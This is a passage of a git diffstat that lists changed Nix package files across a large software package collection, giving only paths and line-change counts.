 .../office/paperwork/paperwork-gtk.nix        |   3 +-
 pkgs/applications/radio/direwolf/default.nix  |  41 +-
 pkgs/applications/radio/fldigi/default.nix    |  33 +-
 pkgs/applications/radio/gnuradio/default.nix  |  19 +-
 pkgs/applications/radio/gnuradio/shared.nix   |  88 +-
 pkgs/applications/radio/gqrx/default.nix      |  45 +-
 pkgs/applications/radio/limesuite/default.nix |  30 +-
 .../applications/radio/qradiolink/default.nix |  65 +-
 pkgs/applications/radio/sdr-j-fm/default.nix  |   3 +-
 pkgs/applications/radio/sdrangel/default.nix  |  91 +-
 pkgs/applications/radio/soapysdr/default.nix  |  17 +-
 pkgs/applications/radio/welle-io/default.nix  |   9 +-
 .../science/astronomy/stellarium/default.nix  |  50 +-
 .../science/biology/blast/bin.nix             |  23 +-
 .../science/biology/mrtrix/default.nix        |  38 +-
 .../science/biology/nest/default.nix          |  25 +-
 .../science/biology/samtools/default.nix      |   9 +-
 .../science/biology/truvari/default.nix       |  15 +-
 .../chemistry/autodock-vina/default.nix       |  13 +-
 .../chemistry/quantum-espresso/default.nix    |  32 +-
 .../science/chemistry/siesta/default.nix      |  68 +-
 .../science/electronics/dsview/default.nix    |   6 +-
 .../science/electronics/fritzing/default.nix  |  29 +-
 .../hal-hardware-analyzer/default.nix         |  37 +-
 .../science/electronics/kicad/base.nix        | 173 ++--
 .../science/electronics/kicad/libraries.nix   |  15 +-
 .../science/electronics/openems/default.nix   |  27 +-
 .../science/electronics/pulseview/default.nix |   6 +-
 .../science/electronics/qucs-s/default.nix    |  27 +-
 .../science/logic/abella/default.nix          |  17 +-
 .../science/logic/coq/default.nix             |  54 +-
 .../science/logic/cubicle/default.nix         |  17 +-
 .../science/logic/eprover/default.nix         |  15 +-
 .../science/logic/prooftree/default.nix       |  15 +-
 .../science/logic/tamarin-prover/default.nix  |  45 +-
 .../machine-learning/shogun/default.nix       | 108 ++-
 pkgs/applications/science/math/R/default.nix  |  79 +-
 .../science/math/caffe/default.nix            |  93 +-
 .../science/math/glsurf/default.nix           |  42 +-
 .../science/math/lp_solve/default.nix         |  13 +-
 .../science/math/mathematica/generic.nix      | 149 ++-
 .../science/math/maxima/default.nix           |  25 +-
 .../science/math/pari/default.nix             |  24 +-
 .../science/math/weka/default.nix             |   3 +-
 .../science/math/wolfram-engine/default.nix   |  71 +-
 .../science/math/yacas/default.nix            |  44 +-
 .../science/misc/boinc/default.nix            |  44 +-
 .../science/misc/colmap/default.nix           |  54 +-
 .../science/misc/golly/default.nix            |  21 +-
 .../openmodelica/mkderivation/default.nix     |  16 +-
 .../misc/openmodelica/omcompiler/default.nix  |   3 +-
 .../science/misc/openmvg/default.nix          |   3 +-
 .../science/misc/tulip/default.nix            |  30 +-
 .../molecular-dynamics/gromacs/default.nix    | 109 ++-
 .../science/physics/crystfel/default.nix      |  50 +-
 .../science/robotics/mavproxy/default.nix     |  29 +-
 pkgs/applications/search/recoll/default.nix   | 176 ++--
 pkgs/applications/system/glances/default.nix  |   3 +-
 .../cool-retro-term/default.nix               |  17 +-
 .../rxvt-unicode/default.nix                  |  57 +-
 .../terminal-emulators/st/default.nix         |   3 +-
 .../terminal-emulators/termite/default.nix    |   3 +-
 .../version-management/cgit/common.nix        |  17 +-
 .../version-management/fossil/default.nix     |  22 +-
 .../version-management/git/default.nix        | 702 +++++++-------
 .../monotone-viz/graphviz-2.0.nix             |   3 +-
 .../version-management/monotone/default.nix   |  19 +-
 .../silver-platter/default.nix                |   3 +-
 .../sublime-merge/common.nix                  |  43 +-
 .../version-management/subversion/default.nix |  64 +-
 .../video/anilibria-winmaclinux/default.nix   |  40 +-
 pkgs/applications/video/clipgrab/default.nix  |  21 +-
 .../video/hyperion-ng/default.nix             |  43 +-
 .../video/jellyfin-media-player/default.nix   |  46 +-
 .../video/kodi/build-kodi-binary-addon.nix    |   6 +-
 pkgs/applications/video/kodi/unwrapped.nix    | 368 ++++---
 pkgs/applications/video/mplayer/default.nix   | 164 ++--
 pkgs/applications/video/mpv/default.nix       | 201 ++--
 .../video/mpv/scripts/buildLua.nix            |  51 +-
 .../video/mpv/scripts/videoclip.nix           |  17 +-
 pkgs/applications/video/mpv/wrapper.nix       |  25 +-
 pkgs/applications/video/mythtv/default.nix    |   3 +-
 .../applications/video/obs-studio/default.nix | 114 +--
 .../obs-studio/plugins/obs-vkcapture.nix      |  29 +-
 .../applications/video/obs-studio/wrapper.nix |   3 +-
 .../video/openshot-qt/default.nix             |  38 +-
 .../video/pipe-viewer/default.nix             |  58 +-
 pkgs/applications/video/vdr/default.nix       |  32 +-
 .../virtualization/OVMF/default.nix           |  92 +-
 .../virtualization/cri-o/default.nix          |  25 +-
 .../virtualization/docker/default.nix         |  83 +-
 .../virtualization/krunvm/default.nix         |  14 +-
 pkgs/applications/virtualization/lima/bin.nix |  48 +-
 .../virtualization/lima/default.nix           |  36 +-
 .../virtualization/lkl/default.nix            |  29 +-
 .../virtualization/qemu/default.nix           | 379 ++++----
 .../virtualization/singularity/generic.nix    |  58 +-
 .../virtualization/virt-manager/default.nix   |  36 +-
 .../virtualization/virtualbox/default.nix     |  88 +-
 .../virtualbox/guest-additions/builder.nix    |   3 +-
 .../virtualbox/guest-additions/default.nix    |   3 +-
 .../window-managers/awesome/default.nix       |   6 +-
 .../window-managers/i3/lock-fancy.nix         |  21 +-
 .../window-managers/i3/status-rust.nix        |  35 +-
 .../window-managers/wayfire/wrapper.nix       |   3 +-
 .../xmonad/log-applet/default.nix             |  37 +-
 pkgs/build-support/appimage/default.nix       |   3 +-
 pkgs/build-support/binary-cache/default.nix   |  17 +-
 .../bintools-wrapper/default.nix              | 245 +++--
 .../build-bazel-package/default.nix           | 117 ++-
 .../build-fhsenv-bubblewrap/buildFHSEnv.nix   |  23 +-
 .../build-fhsenv-bubblewrap/default.nix       |   3 +-
 .../build-support/build-fhsenv-chroot/env.nix |   6 +-
 .../build-graalvm-native-image/default.nix    |   3 +-
 pkgs/build-support/cc-wrapper/default.nix     | 301 +++---
 pkgs/build-support/checkpoint-build.nix       |  38 +-
 .../dart/build-dart-application/default.nix   |  17 +-
 .../dlang/builddubpackage/default.nix         |   3 +-
 pkgs/build-support/docker/default.nix         |  98 +-
 pkgs/build-support/docker/examples.nix        |  17 +-
 .../build-dotnet-global-tool/default.nix      |   3 +-
 .../dotnet/build-dotnet-package/default.nix   |   3 +-
 .../dotnet/fetch-nupkg/overrides.nix          |  18 +-
 pkgs/build-support/fetchgit/default.nix       |  13 +-
 .../fetchnextcloudapp/default.nix             |  23 +-
 pkgs/build-support/fetchpatch/default.nix     | 115 ++-
 .../fetchrepoproject/default.nix              |   3 +-
 pkgs/build-support/fetchsourcehut/default.nix |  25 +-
 pkgs/build-support/fetchsvn/default.nix       |   3 +-
 pkgs/build-support/fetchtorrent/default.nix   |  21 +-
 pkgs/build-support/fetchurl/default.nix       |   3 +-
 pkgs/build-support/fetchzip/default.nix       |  67 +-
 pkgs/build-support/go/module.nix              |   6 +-
 .../kernel/compress-firmware.nix              |   3 +-
 pkgs/build-support/kernel/make-initrd-ng.nix  |   3 +-
 pkgs/build-support/kernel/make-initrd.nix     |   3 +-
 .../make-desktopitem/default.nix              |   3 +-
 .../node/build-npm-package/default.nix        |   3 +-
 .../node/import-npm-lock/default.nix          |  17 +-
 pkgs/build-support/ocaml/dune.nix             |   3 +-
 pkgs/build-support/ocaml/oasis.nix            |   3 +-
 pkgs/build-support/ocaml/topkg.nix            |   3 +-
 pkgs/build-support/php/build-pecl.nix         |   3 +-
 .../pkg-config-wrapper/default.nix            |  41 +-
 .../portable-service/default.nix              |  35 +-
 pkgs/build-support/release/nix-build.nix      |  22 +-
 .../remove-references-to/default.nix          |   3 +-
 .../rust/build-rust-crate/build-crate.nix     |  51 +-
 .../rust/build-rust-crate/default.nix         |  19 +-
 .../rust/build-rust-crate/test/default.nix    |  20 +-
 .../rust/build-rust-package/default.nix       |  11 +-
 .../rust/default-crate-overrides.nix          |  35 +-
 .../build-support/rust/fetch-cargo-vendor.nix |   3 +-
 pkgs/build-support/rust/hooks/default.nix     |  65 +-
 pkgs/build-support/rust/import-cargo-lock.nix |   3 +-
 pkgs/build-support/rust/lib/default.nix       |  49 +-
 .../setup-hooks/wrap-gapps-hook/default.nix   |  19 +-
 pkgs/build-support/testers/default.nix        |  50 +-
 .../testers/hasPkgConfigModules/tester.nix    |  35 +-
 pkgs/build-support/testers/lychee.nix         |  19 +-
 .../trivial-builders/default.nix              |  35 +-
 .../test/write-shell-script.nix               |  18 +-
 .../wasm-bindgen-cli/default.nix              |  11 +-
 pkgs/build-support/xen/default.nix            | 141 ++-
 pkgs/by-name/_1/_1fps/package.nix             |   3 +-
 pkgs/by-name/_1/_1password-cli/package.nix    |  22 +-
 pkgs/by-name/_3/_389-ds-base/package.nix      |  97 +-
 pkgs/by-name/_7/_7zz/package.nix              |  25 +-
 pkgs/by-name/_8/_86Box/package.nix            |  68 +-
 pkgs/by-name/_9/_9base/package.nix            |   3 +-
 pkgs/by-name/a2/a2jmidid/package.nix          |  19 +-
 pkgs/by-name/aa/aalib/package.nix             |   3 +-
 pkgs/by-name/ab/abseil-cpp_202501/package.nix |  17 +-
 pkgs/by-name/ac/accountsservice/package.nix   |  27 +-
 pkgs/by-name/ac/acsccid/package.nix           |  15 +-
 pkgs/by-name/ad/adaptivecpp/package.nix       |  67 +-
 pkgs/by-name/ad/adaptivecpp/tests.nix         |  38 +-
 pkgs/by-name/ad/adios2/package.nix            | 106 +--
 pkgs/by-name/ad/adlplug/package.nix           |  29 +-
 pkgs/by-name/ae/aegisub/package.nix           |  47 +-
 pkgs/by-name/ae/aerc/package.nix              |   3 +-
 pkgs/by-name/af/afew/package.nix              |  15 +-
 pkgs/by-name/af/affine-bin/package.nix        |  66 +-
 pkgs/by-name/af/affine/package.nix            |  39 +-
 pkgs/by-name/af/afflib/package.nix            |  19 +-
 .../by-name/ag/age-plugin-yubikey/package.nix |   3 +-
 pkgs/by-name/ag/ags/bundle.nix                |  41 +-
 pkgs/by-name/ah/ahoviewer/package.nix         |   3 +-
 pkgs/by-name/ai/aircrack-ng/package.nix       |  21 +-
 pkgs/by-name/ai/airgeddon/package.nix         | 107 ++-
 pkgs/by-name/ai/airtame/package.nix           |   3 +-
 pkgs/by-name/ai/airwin2rack/package.nix       | 123 ++-
 pkgs/by-name/ak/akkoma-admin-fe/package.nix   |   3 +-
 pkgs/by-name/al/alacritty/package.nix         |  31 +-
 pkgs/by-name/al/albert/package.nix            |  33 +-
 pkgs/by-name/al/alcom/package.nix             |  21 +-
 pkgs/by-name/al/algol68g/package.nix          |   3 +-
 pkgs/by-name/al/aliae/package.nix             |  19 +-
 pkgs/by-name/al/aligator/package.nix          |  95 +-
 pkgs/by-name/al/alot/package.nix              |  16 +-
 pkgs/by-name/al/alsa-lib/package.nix          |  18 +-
 pkgs/by-name/al/alsa-ucm-conf/package.nix     |  49 +-
 pkgs/by-name/al/alt-ergo/package.nix          |  18 +-
 .../by-name/al/alttpr-opentracker/package.nix |  23 +-
 pkgs/by-name/am/amazon-ssm-agent/package.nix  |  46 +-
 pkgs/by-name/am/amber-lang/package.nix        |  15 +-
 pkgs/by-name/am/amberol/package.nix           |  29 +-
 pkgs/by-name/am/amd-blis/package.nix          |  13 +-
 pkgs/by-name/am/amd-libflame/package.nix      |  21 +-
 pkgs/by-name/am/amdvlk/package.nix            |  64 +-
 pkgs/by-name/am/amnezia-vpn/package.nix       |  61 +-
 pkgs/by-name/am/amneziawg-tools/package.nix   |  59 +-
 pkgs/by-name/am/amp/package.nix               |  17 +-
 pkgs/by-name/am/ams/package.nix               |  23 +-
 pkgs/by-name/am/amule/package.nix             |  21 +-
 pkgs/by-name/an/ananicy-cpp/package.nix       |  38 +-
 pkgs/by-name/an/andi/package.nix              |   3 +-
 .../an/android-studio-tools/package.nix       |  17 +-
 pkgs/by-name/an/angband/package.nix           |  19 +-
 pkgs/by-name/an/ani-cli/package.nix           |  21 +-
 pkgs/by-name/an/anime-downloader/package.nix  |  41 +-
 pkgs/by-name/an/anubis/package.nix            |   3 +-
 pkgs/by-name/an/anvil-editor/package.nix      |  15 +-
 pkgs/by-name/an/anydesk/package.nix           |  73 +-
 .../ap/apache-airflow/python-package.nix      | 175 ++--
 pkgs/by-name/ap/apache-orc/package.nix        |  27 +-
 pkgs/by-name/ap/apbs/package.nix              |  19 +-
 pkgs/by-name/ap/apcupsd/package.nix           |  80 +-
 pkgs/by-name/ap/apfs-fuse/package.nix         |   3 +-
 pkgs/by-name/ap/apkeditor/package.nix         |   3 +-
 pkgs/by-name/ap/apostrophe/package.nix        |  21 +-
 pkgs/by-name/ap/apparmor-parser/package.nix   |   3 +-
 pkgs/by-name/ap/apparmor-utils/package.nix    |  27 +-
 pkgs/by-name/ap/appflowy/package.nix          |   3 +-
 pkgs/by-name/ap/appimageupdate/package.nix    |  40 +-
 .../common/add-core-symbolication.nix         |  14 +-
 .../apple-sdk/common/derivation-options.nix   |  20 +-
 .../ap/apple-sdk/common/process-stubs.nix     |  68 +-
 .../ap/apple-sdk/common/propagate-inputs.nix  |  12 +-
 .../ap/apple-sdk/common/propagate-xcrun.nix   |  52 +-
 .../common/remove-disallowed-packages.nix     |  24 +-
 pkgs/by-name/ap/applgrid/package.nix          |  17 +-
 pkgs/by-name/ap/aprutil/package.nix           |  84 +-
 pkgs/by-name/ap/apt/package.nix               |  76 +-
 pkgs/by-name/ar/arangodb/package.nix          |  21 +-
 pkgs/by-name/ar/aravis/package.nix            |  45 +-
 pkgs/by-name/ar/arcan/package.nix             |   6 +-
 pkgs/by-name/ar/archi/package.nix             |  23 +-
 pkgs/by-name/ar/archivebox/package.nix        |  43 +-
 pkgs/by-name/ar/arduino-cli/package.nix       |   3 +-
 .../ar/arduino-language-server/package.nix    |  19 +-
 pkgs/by-name/ar/ares/package.nix              |  64 +-
 pkgs/by-name/ar/argc/package.nix              |  13 +-
 pkgs/by-name/ar/argon/package.nix             |  13 +-
 pkgs/by-name/ar/arion/package.nix             |  18 +-
 pkgs/by-name/ar/armitage/package.nix          |  19 +-
 pkgs/by-name/ar/arpack/package.nix            |  44 +-
 pkgs/by-name/ar/arrayfire/package.nix         | 100 +-
 pkgs/by-name/ar/arrow-cpp/package.nix         | 194 ++--
 .../as/asc-key-to-qr-code-gif/package.nix     |  17 +-
 pkgs/by-name/as/ashell/package.nix            |   3 +-
 pkgs/by-name/as/assaultcube/package.nix       |  27 +-
 pkgs/by-name/as/ast-grep/package.nix          |   3 +-
 pkgs/by-name/at/at-spi2-core/package.nix      |  77 +-
 pkgs/by-name/at/atlauncher/package.nix        |  23 +-
 pkgs/by-name/at/atop/package.nix              |  59 +-
 pkgs/by-name/at/ats2/package.nix              |  23 +-
 pkgs/by-name/at/attic-client/package.nix      |  13 +-
 pkgs/by-name/at/attract-mode/package.nix      |  32 +-
 pkgs/by-name/au/aucatctl/package.nix          |  22 +-
 pkgs/by-name/au/audacity/package.nix          | 145 ++-
 pkgs/by-name/au/audio-recorder/package.nix    |  33 +-
 pkgs/by-name/au/audio-sharing/package.nix     |  31 +-
 pkgs/by-name/au/audit/package.nix             |  15 +-
 pkgs/by-name/au/augustus/package.nix          |  15 +-
 pkgs/by-name/au/ausweiskopie/package.nix      |   3 +-
 .../au/auto-multiple-choice/package.nix       |  69 +-
 pkgs/by-name/au/autogen/package.nix           |  95 +-
 pkgs/by-name/av/av1an/package.nix             |  25 +-
 pkgs/by-name/av/avalonia/package.nix          |  85 +-
 pkgs/by-name/av/avidemux/package.nix          |  62 +-
 pkgs/by-name/av/avrdude/package.nix           |  25 +-
 pkgs/by-name/aw/aws-c-common/package.nix      |  13 +-
 .../by-name/aw/aws-c-event-stream/package.nix |   3 +-
 pkgs/by-name/aw/aws-sdk-cpp/package.nix       |  74 +-
 pkgs/by-name/aw/aws-sso-cli/package.nix       |   3 +-
 pkgs/by-name/aw/awscli2/package.nix           |  17 +-
 .../ay/ayatana-indicator-datetime/package.nix |  47 +-
 .../ay/ayatana-indicator-display/package.nix  |  39 +-
 .../ay/ayatana-indicator-messages/package.nix |  63 +-
 .../ay/ayatana-indicator-power/package.nix    |  27 +-
 .../ay/ayatana-indicator-sound/package.nix    |  33 +-
 pkgs/by-name/az/azahar/package.nix            |  77 +-
 pkgs/by-name/az/azimuth/package.nix           |   3 +-
 pkgs/by-name/az/azpainter/package.nix         |   6 +-
 pkgs/by-name/az/azure-cli/package.nix         |  31 +-
 pkgs/by-name/ba/babeltrace/package.nix        |  54 +-
 pkgs/by-name/ba/babeltrace2/package.nix       |  36 +-
 pkgs/by-name/ba/babl/package.nix              |  17 +-
 pkgs/by-name/ba/backrest/package.nix          |  19 +-
 pkgs/by-name/ba/bacon/package.nix             |  13 +-
 pkgs/by-name/ba/bacula/package.nix            |  60 +-
 pkgs/by-name/ba/balena-cli/package.nix        |  17 +-
 pkgs/by-name/ba/bambootracker/package.nix     |  65 +-
 pkgs/by-name/ba/bambu-studio/package.nix      |  75 +-
 pkgs/by-name/ba/bamf/package.nix              |  28 +-
 pkgs/by-name/ba/baresip/package.nix           |  87 +-
 pkgs/by-name/ba/barman/package.nix            |  19 +-
 pkgs/by-name/ba/baserow/package.nix           |   3 +-
 pkgs/by-name/ba/bats/package.nix              | 230 +++--
 pkgs/by-name/ba/bazarr/package.nix            |   3 +-
 pkgs/by-name/bc/bcachefs-tools/package.nix    |  27 +-
 pkgs/by-name/be/bearssl/package.nix           |   3 +-
 pkgs/by-name/be/bemenu/package.nix            |  65 +-
 pkgs/by-name/be/bento4/package.nix            |  13 +-
 pkgs/by-name/be/bespokesynth/package.nix      |  92 +-
 pkgs/by-name/be/bettercap/package.nix         |  17 +-
 pkgs/by-name/be/betterlockscreen/package.nix  |   3 +-
 pkgs/by-name/bf/bfs/package.nix               |  17 +-
 pkgs/by-name/bi/biber-ms/package.nix          |  13 +-
 pkgs/by-name/bi/biblioteca/package.nix        |   3 +-
 pkgs/by-name/bi/biboumi/package.nix           |  23 +-
 pkgs/by-name/bi/bind/package.nix              |  74 +-
 pkgs/by-name/bi/binwalk/package.nix           |  41 +-
 pkgs/by-name/bi/bison/package.nix             |   3 +-
 pkgs/by-name/bi/bite/package.nix              |  48 +-
 pkgs/by-name/bi/bitwarden-cli/package.nix     |  19 +-
 pkgs/by-name/bi/bitwarden-desktop/package.nix | 115 ++-
 pkgs/by-name/bl/blackbox-terminal/package.nix |   8 +-
 pkgs/by-name/bl/blahtexml/package.nix         |  39 +-
 pkgs/by-name/bl/bleep/package.nix             |   3 +-
 pkgs/by-name/bl/blender/package.nix           | 301 +++---
 pkgs/by-name/bl/blendfarm/package.nix         |   3 +-
 pkgs/by-name/bl/blis/package.nix              |  13 +-
 pkgs/by-name/bl/blobdrop/package.nix          |  30 +-
 pkgs/by-name/bl/blockbench/package.nix        |  13 +-
 pkgs/by-name/bl/bloop/package.nix             |   3 +-
 pkgs/by-name/bl/blueman/package.nix           |  23 +-
 pkgs/by-name/bl/bluespec/package.nix          | 209 ++--
 pkgs/by-name/bl/bluez-alsa/package.nix        |  27 +-
 pkgs/by-name/bl/bluez/package.nix             |  48 +-
 pkgs/by-name/bm/bmake/package.nix             |  15 +-
 pkgs/by-name/bm/bmon/package.nix              |   3 +-
 pkgs/by-name/bn/bngblaster/package.nix        |   3 +-
 pkgs/by-name/bo/bochs/package.nix             | 188 ++--
 pkgs/by-name/bo/boehmgc/package.nix           |  15 +-
 pkgs/by-name/bo/bolt-launcher/package.nix     |  17 +-
 pkgs/by-name/bo/boofuzz/package.nix           |  19 +-
 pkgs/by-name/bo/boolector/package.nix         |   3 +-
 pkgs/by-name/bo/bore/package.nix              |   3 +-
 pkgs/by-name/bo/borgbackup/package.nix        |  21 +-
 pkgs/by-name/bo/borgmatic/package.nix         |  31 +-
 pkgs/by-name/bo/boringssl/package.nix         |  16 +-
 pkgs/by-name/bo/bottles-unwrapped/package.nix |  27 +-
 pkgs/by-name/bo/boxfs/package.nix             |   3 +-
 pkgs/by-name/bo/bozohttpd/package.nix         |   3 +-
 pkgs/by-name/br/brainflow/package.nix         |   9 +-
 pkgs/by-name/br/brave/make-brave.nix          | 102 +-
 .../br/breeze-hacked-cursor-theme/package.nix |  37 +-
 pkgs/by-name/br/brig/package.nix              |  25 +-
 pkgs/by-name/br/brltty/package.nix            |  13 +-
 pkgs/by-name/br/broot/package.nix             |  13 +-
 pkgs/by-name/br/browserpass/package.nix       |   3 +-
 pkgs/by-name/br/bruno/package.nix             |  15 +-
 pkgs/by-name/br/brunsli/package.nix           |  13 +-
 pkgs/by-name/bs/bsdiff/package.nix            |  45 +-
 pkgs/by-name/bs/bsnes-hd/package.nix          |  57 +-
 pkgs/by-name/bt/btop/package.nix              |  13 +-
 pkgs/by-name/bt/btor2tools/package.nix        |  15 +-
 pkgs/by-name/bt/btrfs-assistant/package.nix   |  49 +-
 pkgs/by-name/bt/btrfs-progs/package.nix       |  44 +-
 .../bu/budgie-gsettings-overrides/package.nix |   3 +-
 pkgs/by-name/bu/bugdom/package.nix            |  47 +-
 pkgs/by-name/bu/buildstream/package.nix       |  39 +-
 pkgs/by-name/bu/buku/package.nix              |  49 +-
 pkgs/by-name/bu/bumblebee/package.nix         |  32 +-
 pkgs/by-name/bu/bun/package.nix               |   3 +-
 pkgs/by-name/bu/burp/package.nix              |   3 +-
 pkgs/by-name/bu/buteo-syncfw/package.nix      |  38 +-
 pkgs/by-name/bw/bws/package.nix               |  28 +-
 pkgs/by-name/by/byzanz/package.nix            |  39 +-
 pkgs/by-name/c3/c3c/package.nix               |   3 +-
 pkgs/by-name/ca/caddy/package.nix             |  35 +-
 pkgs/by-name/ca/cadical/package.nix           |  17 +-
 pkgs/by-name/ca/cairo/package.nix             |  77 +-
 pkgs/by-name/ca/cakelisp/package.nix          |  23 +-
 pkgs/by-name/ca/calc/package.nix              |  31 +-
 pkgs/by-name/ca/calibre/package.nix           |   6 +-
 pkgs/by-name/ca/calls/package.nix             |  33 +-
 pkgs/by-name/ca/cameractrls/package.nix       |  44 +-
 pkgs/by-name/ca/camilladsp/package.nix        |   3 +-
 pkgs/by-name/ca/canaille/package.nix          |   3 +-
 pkgs/by-name/ca/cantata/package.nix           |   3 +-
 pkgs/by-name/ca/capnproto/package.nix         |   3 +-
 pkgs/by-name/ca/cardinal/package.nix          |  13 +-
 pkgs/by-name/ca/cardpeek/package.nix          |   3 +-
 pkgs/by-name/ca/cargo-c/package.nix           |  15 +-
 pkgs/by-name/ca/cargo-crev/package.nix        |  13 +-
 pkgs/by-name/ca/cargo-cyclonedx/package.nix   |  13 +-
 pkgs/by-name/ca/cargo-deadlinks/package.nix   |  18 +-
 pkgs/by-name/ca/cargo-dephell/package.nix     |  28 +-
 pkgs/by-name/ca/cargo-fund/package.nix        |  13 +-
 pkgs/by-name/ca/cargo-geiger/package.nix      |  22 +-
 pkgs/by-name/ca/cargo-generate/package.nix    |  23 +-
 pkgs/by-name/ca/cargo-lambda/package.nix      |  11 +-
 pkgs/by-name/ca/cargo-release/package.nix     |  15 +-
 pkgs/by-name/ca/cargo-tarpaulin/package.nix   |  11 +-
 pkgs/by-name/ca/cargo-tauri/package.nix       |  13 +-
 pkgs/by-name/ca/cargo-tauri/test-app.nix      |  15 +-
 pkgs/by-name/ca/cargo-tauri_1/package.nix     |  15 +-
 pkgs/by-name/ca/cargo-udeps/package.nix       |  11 +-
 pkgs/by-name/ca/cargo-ui/package.nix          |  29 +-
 pkgs/by-name/ca/cargo-update/package.nix      |  38 +-
 pkgs/by-name/ca/cargo-vibe/package.nix        |   3 +-
 pkgs/by-name/ca/casadi/package.nix            | 152 ++-
 pkgs/by-name/ca/casync/package.nix            |  19 +-
 pkgs/by-name/ca/catboost/package.nix          |  54 +-
 pkgs/by-name/ca/catclock/package.nix          |  24 +-
 pkgs/by-name/ca/catdvi/package.nix            |  13 +-
 pkgs/by-name/ca/catppuccin/package.nix        | 169 ++--
 pkgs/by-name/ca/cava/package.nix              |  41 +-
 pkgs/by-name/cb/cbc/package.nix               |   3 +-
 pkgs/by-name/cb/cbmc/package.nix              |  35 +-
 pkgs/by-name/cc/ccache/package.nix            |  22 +-
 pkgs/by-name/cc/ccextractor/package.nix       |  61 +-
 pkgs/by-name/cc/cctools/package.nix           |   3 +-
 pkgs/by-name/cc/cctz/package.nix              |   9 +-
 pkgs/by-name/cd/cdo/package.nix               |  17 +-
 pkgs/by-name/cd/cdrkit/package.nix            |  34 +-
 pkgs/by-name/cd/cdxgen/package.nix            |  23 +-
 pkgs/by-name/ce/cegui/package.nix             |  32 +-
 pkgs/by-name/ce/celeste64/package.nix         |   3 +-
 pkgs/by-name/ce/centerpiece/package.nix       |  29 +-
 pkgs/by-name/cf/cflow/package.nix             |   7 +-
 pkgs/by-name/ch/chatd/package.nix             |   3 +-
 pkgs/by-name/ch/checkinstall/package.nix      |  59 +-
 pkgs/by-name/ch/cheesecutter/package.nix      |  12 +-
 pkgs/by-name/ch/chiptrack/package.nix         |   3 +-
 pkgs/by-name/ch/chromaprint/package.nix       |  34 +-
 pkgs/by-name/ch/chrony/package.nix            |  24 +-
 pkgs/by-name/ci/cifs-utils/package.nix        |  15 +-
 .../cinnamon-gsettings-overrides/package.nix  |   3 +-
 pkgs/by-name/ci/cinny-desktop/package.nix     |  17 +-
 pkgs/by-name/ci/cinny-unwrapped/package.nix   |   3 +-
 .../by-name/ci/ciscoPacketTracer8/package.nix |  79 +-
 pkgs/by-name/cj/cjdns/package.nix             |  15 +-
 pkgs/by-name/cj/cjs/package.nix               |  25 +-
 pkgs/by-name/cl/clamav/package.nix            |   3 +-
 pkgs/by-name/cl/clang-uml/package.nix         |  29 +-
 pkgs/by-name/cl/claws-mail/package.nix        |  20 +-
 pkgs/by-name/cl/clblas/package.nix            |  17 +-
 pkgs/by-name/cl/clfft/package.nix             |  19 +-
 pkgs/by-name/cl/clickable/package.nix         |  73 +-
 pkgs/by-name/cl/clightning/package.nix        |  33 +-
 pkgs/by-name/cl/cling/package.nix             |  82 +-
 pkgs/by-name/cl/clipboard-jh/package.nix      |  19 +-
 pkgs/by-name/cl/clojure-lsp/package.nix       |  21 +-
 pkgs/by-name/cl/cloudlogoffline/package.nix   |  15 +-
 pkgs/by-name/cl/clutter/package.nix           |  60 +-
 pkgs/by-name/cm/cmake/package.nix             | 147 ++-
 pkgs/by-name/cm/cmdstan/package.nix           |  36 +-
 pkgs/by-name/cm/cmtk/package.nix              |  30 +-
 pkgs/by-name/cm/cmusfm/package.nix            |   6 +-
 pkgs/by-name/cn/cnijfilter2/package.nix       | 111 ++-
 pkgs/by-name/co/coal/package.nix              |  48 +-
 pkgs/by-name/co/code-cursor/package.nix       |   6 +-
 pkgs/by-name/co/codeblocks/package.nix        |  36 +-
 pkgs/by-name/co/codec2/package.nix            |  31 +-
 pkgs/by-name/co/cogl/package.nix              | 105 +-
 pkgs/by-name/co/coin3d/package.nix            |   3 +-
 pkgs/by-name/co/colima/package.nix            |   3 +-
 pkgs/by-name/co/collision/package.nix         |  17 +-
 pkgs/by-name/co/colord-gtk/package.nix        |  27 +-
 pkgs/by-name/co/colord/package.nix            |  74 +-
 pkgs/by-name/co/composefs/package.nix         |  34 +-
 pkgs/by-name/co/conan/package.nix             |  74 +-
 pkgs/by-name/co/conduktor-ctl/package.nix     |  19 +-
 pkgs/by-name/co/conduwuit/package.nix         |  36 +-
 pkgs/by-name/co/conglomerate/package.nix      |  19 +-
 pkgs/by-name/co/conmon/package.nix            |  19 +-
 .../co/connectome-workbench/package.nix       |  15 +-
 pkgs/by-name/co/connman/package.nix           | 185 ++--
 pkgs/by-name/co/conntrack-tools/package.nix   |  25 +-
 pkgs/by-name/co/conserver/package.nix         |  32 +-
 pkgs/by-name/co/containerd/package.nix        |   9 +-
 pkgs/by-name/co/contour/package.nix           |  85 +-
 pkgs/by-name/co/convco/package.nix            |  11 +-
 pkgs/by-name/co/convos/package.nix            |  32 +-
 pkgs/by-name/co/coost/package.nix             |  11 +-
 pkgs/by-name/co/copacetic/package.nix         |  19 +-
 pkgs/by-name/co/coredns/package.nix           |  37 +-
 pkgs/by-name/co/corosync/package.nix          |  50 +-
 pkgs/by-name/co/corrscope/package.nix         |  21 +-
 pkgs/by-name/co/cosmic-comp/package.nix       |   3 +-
 pkgs/by-name/co/coturn/package.nix            |  21 +-
 pkgs/by-name/co/cozy/package.nix              |  21 +-
 pkgs/by-name/cp/cp2k/package.nix              |  80 +-
 pkgs/by-name/cp/cppcheck/package.nix          |  37 +-
 pkgs/by-name/cp/cppitertools/package.nix      |  19 +-
 pkgs/by-name/cr/cri-tools/package.nix         |  27 +-
 pkgs/by-name/cr/criu/package.nix              |  15 +-
 pkgs/by-name/cr/crocoddyl/package.nix         |  48 +-
 pkgs/by-name/cr/crow-translate/package.nix    |  27 +-
 pkgs/by-name/cr/crusader/package.nix          |  36 +-
 pkgs/by-name/cr/cryfs/package.nix             |   3 +-
 pkgs/by-name/cr/cryptsetup/package.nix        |  42 +-
 pkgs/by-name/cs/csmith/package.nix            |  13 +-
 pkgs/by-name/cu/cubicsdr/package.nix          |  25 +-
 .../cu/cups-brother-hll2350dw/package.nix     |  71 +-
 .../cu/cups-brother-hll2375dw/package.nix     |  81 +-
 .../cu/cups-brother-mfcl2750dw/package.nix    |  71 +-
 .../cu/cups-brother-mfcl2800dw/package.nix    |  69 +-
 pkgs/by-name/cu/cups-kyodialog/package.nix    |  46 +-
 .../cu/curl-impersonate/chrome/default.nix    |  49 +-
 .../cu/curl-impersonate/firefox/default.nix   |  49 +-
 pkgs/by-name/cu/curlMinimal/package.nix       | 138 ++-
 pkgs/by-name/cu/curv/package.nix              |  39 +-
